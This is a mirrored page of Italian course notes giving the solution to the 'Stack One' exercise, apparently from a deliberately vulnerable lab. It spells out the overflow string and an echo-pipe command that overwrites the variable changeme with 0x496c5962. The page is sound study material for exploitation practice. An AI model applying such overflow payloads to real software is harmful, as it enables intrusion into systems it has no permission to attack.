mirror of
https://github.com/Steffo99/appunti-magistrali.git
synced 2024-11-22 02:44:17 +00:00
413 B
413 B
Stack One
Inserire aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabYlI
come input.
bYlI
manda buffer
in overflow, impostando il valore di changeme
ad "bYlI"
, ovvero 0x496c5962
(in architetture little-endian).
Soluzione
echo 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabYlI' | ./stack-one